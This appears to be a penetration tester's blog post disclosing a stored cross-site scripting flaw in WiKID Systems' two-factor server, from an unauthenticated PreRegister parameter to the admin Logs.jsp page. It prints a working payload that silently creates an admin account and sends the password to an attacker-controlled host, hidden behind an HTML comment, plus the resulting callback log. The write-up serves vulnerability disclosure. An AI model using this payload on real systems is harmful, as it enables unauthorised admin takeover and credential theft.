BLOG HOME > Cybersecurity > Something from nothing; a Pentest story

Something from nothing; a Pentest story

Author: Aaron Bishop

While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank:

<meta http-equiv="refresh" content="0;url=/WiKIDAdmin/">
<html>
<head><title>W i K I D S Y S T E M S</title></head>
<body bgcolor="ffffff">
<center><a href="http://www.wikidsystems.com/"><img src="../openid/images/logo.gif" border=0></a></center>
</body>
</html>

I visited http://www.wikidsystems.com to gather information on the mystery service which led to an .iso and .rpm available from http://www.wikidsystems.com.

Extracting the contents of wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm revealed two .war files in a webapps directory:

$ rpm2cpio wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm | cpio -idmv
...
./opt/WiKID/webapps/WiKIDAdmin.war
./opt/WiKID/webapps/wikid.war

WiKIDAdmin.war contained .jsp files for the Admin web application at /WiKIDAdmin/, authentication was required for this web application.  I installed the .iso on VirtualBox; with a default installation, I had access to the /WiKIDAdmin/ and /wikid/ functionality.

Reviewing web.xml, for wikid.war, showed several external URLs mapped to servlets that did not require authentication, including:

...
    <servlet>
        <servlet-name>PreRegister</servlet-name>
        <servlet-class>com.wikidsystems.server.PreRegister</servlet-class>
    </servlet>
...
    <servlet-mapping>
        <servlet-name>PreRegister</servlet-name>
        <url-pattern>/PreRegister</url-pattern>
    </servlet-mapping>
...

I traced com.wikidsystems.server.PreRegister, and the other servlets, to wikid-server-enterprise-lib-4.2.0.jar. The source for com.wikidsystems.server.PreRegister revealed several parameters, including the a parameter, were accepted by the endpoint:

The a parameter is expected to be an Integer:

66      try {
67        requestAction = Integer.parseInt(request.getParameter("a"));
68        logger.debug("Determined requested action: " + requestAction);
69      }

If the a parameter is not an Integer, an error is thrown and the value of a is passed to the logger:

70      catch (NumberFormatException nfe) {
71        nfe.printStackTrace();
72        logger.error("IO error during registration -- recieved action: " + request.getParameter("a"), nfe);
73      } 

I found that logged errors are stored and displayed in the authenticated application in the Logs.jsp functionality by submitting the value test for a.  The severity of the issue is high enough to be displayed by default:

Logs.jsp revealed the error message is stored as rendered_message and is not sanitized before it is included in the page:

394           sb.append("<TD class=\"logTableCell\" style=\"white-space:normal;\">")
395                     .append("<a href='./Log.jsp?subString=" + rs.getString("rendered_message")+ "'>")
396                     .append("<img src='./images/toolFilter.png' alt='' border=\"0px\" width=\"15px\" height=\"15px\"/></a>")
397                     .append(rs.getString("rendered_message").replaceAll("<", "&lt;").replaceAll(">", "&gt;"))
398                      .append("</TD>");

rendered_message is included in an <a> element that is being constructed; escaping out of the href attribute would allow me to create arbitrary elements.  I went with the string test'><script>alert(123)</script> to verify an attack was possible:

I modified the attack string to be:

test'><script>window.addEventListener('load',function(){var+randomstring+%3d+Math.random().toString(36).slice(-12);$.get(window.location.origin%2b'/WiKIDAdmin/adm_usrs.jsp%3fusr%3dtest%26newpass1%3d'%2brandomstring%2b'%26newpass2%3d'%2brandomstring%2b'%26action%3dAdd');$.get('https://$LHOST%3fpass%3d'%2brandomstring)%3b});</script><!--

The string ends with <!-- to provide some concealment for the attack; the input will not appear in the table, it appears in a comment so the malicious input string is not displayed:

When Logs.jsp is visited, an Admin user is unintentionally created; the password is sent to a host I control, and I gain admin access to the Host:

$RHOST - - [13/Oct/2019 22:12:24] "GET /?pass=0.zo2em7aohn HTTP/1.1" 200 -

Several identified issues have been assigned CVE identifiers, the official disclosures can be found here:

Special thanks to Nick Owen (@wikidsystems) from WiKID Systems for the quick response and work to address identified issues.

We are excited to work with you.

*Required

Thank you!

Your request has been submitted.